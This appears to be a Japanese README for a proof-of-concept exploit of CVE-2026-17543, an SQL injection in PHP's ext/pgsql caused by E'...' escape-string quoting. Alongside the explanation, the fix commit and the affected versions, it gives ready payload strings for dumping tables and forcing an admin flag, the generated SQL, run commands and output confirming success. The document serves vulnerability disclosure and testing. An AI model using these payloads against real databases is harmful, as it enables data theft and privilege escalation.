
CVE-2026-17543 の PoC エクスプロイト:バックスラッシュによるエスケープ突破を介した PHP ext/pgsql における SQL インジェクション。PostgreSQL 向けのデータ外部流出および管理者権限昇格ペイロードを備えています。
ext/pgsql における E'...' バックスラッシュ突破によるSQLインジェクションCVE-2026-17543(CVSS 9.8 Critical、CWE-89)の概念実証コードです。これは、PHP の手続き型 PostgreSQL 拡張機能における SQL インジェクション脆弱性です。
pg_insert()、pg_select()、pg_update()、pg_delete()、pg_convert() はすべて、文字列値を php_pgsql_convert() 経由で処理します。この関数は次の処理を行います:
PQescapeStringConn() で値をエスケープします。standard_conforming_strings = on(9.1以降の PostgreSQL のデフォルト)では ' を '' に二重化し、\ はそのままにします(標準の '...' リテラルでは正しい動作)。php_pgsql_add_quotes() で、通常の '...' ではなくエスケープ文字列定数 E'...' で囲みます。E'...' の内部では、バックスラッシュはエスケープ文字として機能するため、引用符の前に置かれた \ は引用符の二重化を無効にします:\' は1つのリテラル ' になり、エスケープ処理が二重化リテラルとして配置した2つ目の引用符が文字列を早期に終了させます。それ以降はすべて、生のインジェクションSQLになります。
公式の修正(コミット ab048bd83b57)は1文字分の変更です:E'...' の代わりに '...' を出力します。
影響を受けないもの: pg_query_params()(真のパラメータバインド)と PDO_PGSQL のプリペアドステートメント / PDO::quote() — これらは php_pgsql_add_quotes() を呼び出さない別のコードパスを使用します。
zzz\' OR 1=1 --
(シングルクォートの直前にある1つのバックスラッシュ)
... WHERE "name"=E'zzz\'' OR 1=1 --' を出力 → OR 1=1 がSQLとして解析される → すべての行を返す。... WHERE "name"='zzz\'' OR 1=1 --' を出力 → バックスラッシュは通常の文字であるため、OR 1=1 -- は文字列リテラルの内部に吸収される → 何もマッチしない。2つ目のペイロード(eve\', true) --)は、pg_insert() による権限昇格を実証し、admin 列を true に強制します。
docker compose up --build --abort-on-container-exit
PHP version: 8.4.23
standard_conforming_strings: on
----------------------------------------------------------------------
[1] pg_select() data exfiltration
payload (runtime): zzz\' OR 1=1 --
generated SQL:
SELECT * FROM "users" WHERE "name"=E'zzz\'' OR 1=1 --'
rows returned: 2
[!] INJECTION - leaked every row in the table
[2] pg_insert() privilege escalation
name payload (runtime): eve\', true) --
generated SQL:
INSERT INTO "users" ("name","admin") VALUES (E'eve\'', true) --','f')
inserted row admin flag: 't'
[!] INJECTION - admin column forced to TRUE
Done.
修正済みビルドでは、生成されるSQLには '...' が含まれ(E なし)、[1] は rows returned: 0 / no injection を報告し、[2] は admin flag: 'f' を報告します。
PGCONN を任意のPostgreSQLに向け、脆弱なPHPで実行します:
PGCONN="host=127.0.0.1 port=5432 dbname=test user=test password=test" php poc.php
ext/pgsql(--with-pgsql / pgsql 拡張機能)を有効にしてコンパイルされていること。standard_conforming_strings = on が有効なもの)。docker compose down -v
ここで使用するPHPイメージは、定義上、CVE-2026-17543 のパッチが適用されていません。隔離された使い捨てコンテナ内でのみ実行し、終了したら docker compose down -v を実行してください。このPoCを、大切なデータベースに向けて実行しないでください。
| ブランチ | 脆弱性あり | 修正版 |
|---|
| PHP 8.2 | < 8.2.33 | 8.2.33 |
| PHP 8.3 | < 8.3.33 | 8.3.33 |
| PHP 8.4 | < 8.4.24 | 8.4.24 |
| PHP 8.5 | < 8.5.9 | 8.5.9 |
| ファイル | 説明 |
|---|
poc.php | pg_select のデータ外部漏えいと pg_insert の権限昇格の両方のバリアントを実証します。生成されたSQLを出力し、E'...' トークンを確認できるようにします |
Dockerfile | ext/pgsql を備えた脆弱なPHP CLIイメージ(php:8.4.23-cli)を固定します |
docker-compose.yml | PostgreSQL 16 と脆弱なPHPコンテナを起動し、poc.php を実行します |